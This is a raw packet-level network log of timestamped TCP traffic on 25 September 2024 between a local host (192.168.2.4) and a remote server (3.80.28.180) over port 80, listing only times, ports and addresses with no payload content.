Sep 25, 2024 03:51:33.200604916 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.200615883 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.200617075 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.200629950 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.200634956 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.200643063 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.200644970 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.200654030 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.200665951 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.200671911 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.200680017 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.200692892 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.200694084 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.200706005 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.200719118 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.200742960 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.200939894 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.200953007 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.200997114 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.201092958 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.201107979 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.201117992 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.201128960 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.201141119 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.201153040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.201164007 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.201165915 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.201186895 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.201194048 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.201199055 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.201211929 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.201224089 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.201231956 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.201237917 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.201240063 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.201251984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.201262951 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.201277018 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.201287031 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.201298952 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.201303005 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.201312065 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.201322079 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.201324940 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.201338053 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.201344013 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.201349974 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.201353073 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.201364994 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.201375961 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.201399088 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.202187061 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.202208042 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.202219963 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.202250957 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.202250957 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.202308893 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.202315092 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.202322960 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.202334881 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.202346087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.202358961 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.202467918 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.288388968 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.288501024 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.288511038 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.288522959 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.288537979 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.288569927 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.288610935 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.288621902 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.288625002 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.288640976 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.288664103 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.288680077 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.288758039 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.288825035 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.288835049 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.288872004 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.288901091 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.288913012 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.288949966 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.288954973 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.288988113 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.288995028 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.289002895 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.289037943 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.289094925 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.289105892 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.289117098 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.289129019 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.289139986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.289140940 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.289172888 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.289242983 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.289256096 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.289268017 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.289278030 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.289308071 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.289335966 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.289393902 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.289405107 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.289416075 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.289428949 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.289438963 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.289453030 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.289473057 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.289539099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.289550066 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.289561033 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.289571047 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.289594889 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.289617062 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.289705992 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.289719105 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.289730072 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.289741993 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.289753914 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.289757967 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.289767027 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.289777994 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.289783001 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.289796114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.289817095 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.289849997 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.289999962 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.290009975 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.290020943 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.290034056 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.290044069 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.290054083 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.290060997 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.290066004 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.290088892 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.290158987 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.290172100 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.290183067 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.290193081 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.290205956 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.290232897 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.290236950 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.290251017 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.290265083 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.290277004 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.290280104 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.290290117 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.290302992 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.290306091 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.290313959 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.290333986 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.290349007 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.290532112 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.290541887 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.290551901 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.290564060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.290591002 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.290618896 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.290685892 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.290698051 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.290708065 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.290719986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.290730953 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.290738106 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.290744066 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.290749073 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.290761948 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.290765047 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.290779114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.290785074 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.290791035 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.290800095 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.290802002 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.290816069 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.290827036 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.290838957 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.290838957 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.290853977 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.290863037 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.290879965 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.291220903 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.291234016 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.291244030 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.291254997 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.291274071 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.291275024 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.291289091 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.291301012 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.291306019 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.291315079 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.291325092 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.291327953 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.291338921 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.291340113 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.291352987 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.291364908 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.291368961 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.291378021 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.291399956 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.291407108 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.291412115 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.291421890 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.291429996 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.291452885 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.291716099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.291764975 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.291929007 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.291949987 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.291961908 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.291974068 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.291985989 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.291994095 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.291997910 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.292011023 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.292021990 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.292025089 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.292037964 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.292049885 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.292061090 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.292062998 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.292073965 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.292082071 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.292087078 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.292090893 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.292099953 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.292110920 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.292114019 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.292123079 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.292135000 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.292136908 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.292149067 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.292159081 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.292161942 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.292174101 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.292184114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.292192936 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.292196989 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.292210102 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.292220116 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.292238951 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.292721033 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.292733908 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.292746067 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.292757988 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.292769909 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.292769909 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.292797089 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.292810917 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.293229103 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.293248892 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.293258905 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.293287992 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.293313026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.293325901 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.293358088 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.293359995 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.293371916 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.293412924 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.293417931 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.293428898 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.293473959 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.379617929 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.379677057 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.379687071 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.379698038 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.379710913 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.379755974 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.379816055 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.379821062 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.379827976 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.379863024 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.379863024 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.379897118 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.379906893 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.379918098 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.379940987 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.379987001 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.379998922 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.380009890 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.380034924 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.380059004 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.380126953 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.380152941 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.380167007 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.380178928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.380203009 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.380227089 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.380311012 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.380322933 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.380333900 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.380346060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.380354881 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.380358934 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.380389929 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.380417109 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.380458117 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.380526066 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.380538940 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.380548954 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.380561113 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.380573034 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.380574942 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.380585909 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.380598068 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.380598068 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.380611897 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.380625963 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.380666018 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.380842924 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.380855083 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.380866051 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.380878925 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.380891085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.380892992 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.380903006 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.380914927 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.380918980 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.380928993 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.380943060 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.380968094 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.381134033 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.381145954 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.381156921 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.381169081 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.381181002 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.381187916 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.381192923 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.381205082 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.381206989 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.381220102 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.381227016 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.381258965 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:33.381443024 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:33.381454945 CEST	80	49730	3.80.28.180	192.168.2.4
